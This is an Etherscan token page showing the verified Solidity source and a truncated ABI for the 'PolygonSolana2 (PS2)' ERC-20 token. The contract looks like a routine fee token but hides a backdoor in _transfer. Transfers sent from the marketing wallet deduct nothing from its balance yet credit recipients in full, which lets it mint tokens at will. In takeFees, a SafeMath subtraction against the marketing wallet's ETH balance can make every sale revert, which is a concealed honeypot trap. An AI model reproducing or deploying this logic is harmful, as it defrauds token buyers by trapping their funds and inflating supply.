ETH Price: $3,011.01 (+1.35%)
Gas: 7 Gwei

Token

PolygonSolana2 (PS2)
 

Overview

Max Total Supply

1,000,000,000 PS2

Holders

110

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
26,209.314111631453780746 PS2

Value
$0.00
0xca169d741401782d42cf714b87f3e33e11f881ef
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PS2

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-05
*/

/**

Website https://www.polygonsolana2.com

Twitter https://twitter.com/polygonsolana2

Telegram https://t.me/polygonsolana2

**/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getUnlockTime() public view returns (uint256) {
        return _lockTime;
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

    function lock(uint256 time) public virtual onlyOwner {
        _previousOwner = _owner;
        _owner = address(0);
        _lockTime = block.timestamp + time;
        emit OwnershipTransferred(_owner, address(0));
    }

    function unlock() public virtual {
        require(_previousOwner == msg.sender, "You don't have permission to unlock");
        require(block.timestamp > _lockTime , "Contract is locked until 7 days");
        emit OwnershipTransferred(_owner, _previousOwner);
        _owner = _previousOwner;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract PS2 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    string private _name = "PolygonSolana2";
    string private _symbol = "PS2";
    uint8 private _decimals = 18;

    address payable public devWallet = payable(0xC52aCa4E303CA4686Cae41cCDe651bd65ecE6af3); // Dev Address
    address payable public marketingWallet = payable(0x3eb12558EB155246a26Fd04817925aA68cFE9264); // Marketing Address
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isAMMPair;

    uint256 public _buyMarketingFee = 1;
    uint256 public _sellMarketingFee = 1;

    uint256 public _marketingShare = 1;

    uint256 public _totalTaxIfBuying = 1;
    uint256 public _totalTaxIfSelling = 1;
    uint256 public _totalDistributionShares = 1;

    uint256 private _totalSupply = 1_000_000_000 * 10**_decimals;
    uint256 public _maxTxAmount = 1_000_000_000 * 10**_decimals;
    uint256 public _walletMax = 1_000_000_000 * 10**_decimals;
    uint256 private minimumTokensBeforeSwap = 1_000_000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = false;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _totalTaxIfBuying = _buyMarketingFee;
        _totalTaxIfSelling = _sellMarketingFee;
        _totalDistributionShares = _marketingShare;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingWallet] = true;
        isExcludedFromFee[address(this)] = true;

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[marketingWallet] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;

        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[marketingWallet] = true;
        isTxLimitExempt[address(this)] = true;

        isAMMPair[address(uniswapPair)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isAMMPair[account] = newValue;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }

    function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
        isExcludedFromFee[account] = newValue;
    }

    function setBuyTaxes(uint256 newMarketingTax) external onlyOwner() {
        require(newMarketingTax <= 5, 'Max fee is 5%');
        _buyMarketingFee = newMarketingTax;
        _totalTaxIfBuying = newMarketingTax;
    }

    function setSellTaxes(uint256 newMarketingTax) external onlyOwner() {
        require(newMarketingTax <= 5, 'Max fee is 5%');
        _sellMarketingFee = newMarketingTax;
        _totalTaxIfSelling = newMarketingTax;
    }

    function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
        require(maxTxAmount >= 2_500_000, 'Min maxTxAmount error');
        _maxTxAmount = maxTxAmount;
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
        checkWalletLimit = newValue;
    }

    function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
        isWalletLimitExempt[holder] = exempt;
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketingWalletAddress(address newAddress) external onlyOwner() {
        require(newAddress != address(0), 'newAddress must not be equal to 0x');
        marketingWallet = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function updateUniRouter(address newRouterAddress) public onlyOwner returns(address newPairAddress) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress);

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0)) //Create If Doesnt exist
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress; //Set new pair address
        uniswapV2Router = _uniswapV2Router; //Set new router address

        isWalletLimitExempt[address(uniswapPair)] = true;
        isAMMPair[address(uniswapPair)] = true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        uint256 taxAmount = amount;

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(sender, recipient, amount);
        }
        else
        {
            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;

            taxAmount = sender == marketingWallet ? 0 : takeFees(sender, recipient, amount);

            if (overMinimumTokenBalance && !inSwapAndLiquify && !isAMMPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }

            _balances[sender] = _balances[sender].sub(taxAmount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ?
            amount : taxAmount;

            if(checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function transferToETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        uint256 tokensForSwap = tAmount;

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;
        if(amountReceived > 0)
            transferToETH(devWallet, amountReceived);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );

        emit SwapTokensForETH(tokenAmount, path);
    }

    function takeFees(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = 0;

        if(isAMMPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isAMMPair[recipient] && _marketingShare.sub(marketingWallet.balance) > 0) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getUnlockTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isAMMPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"time","type":"uint256"}],"name":"lock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inp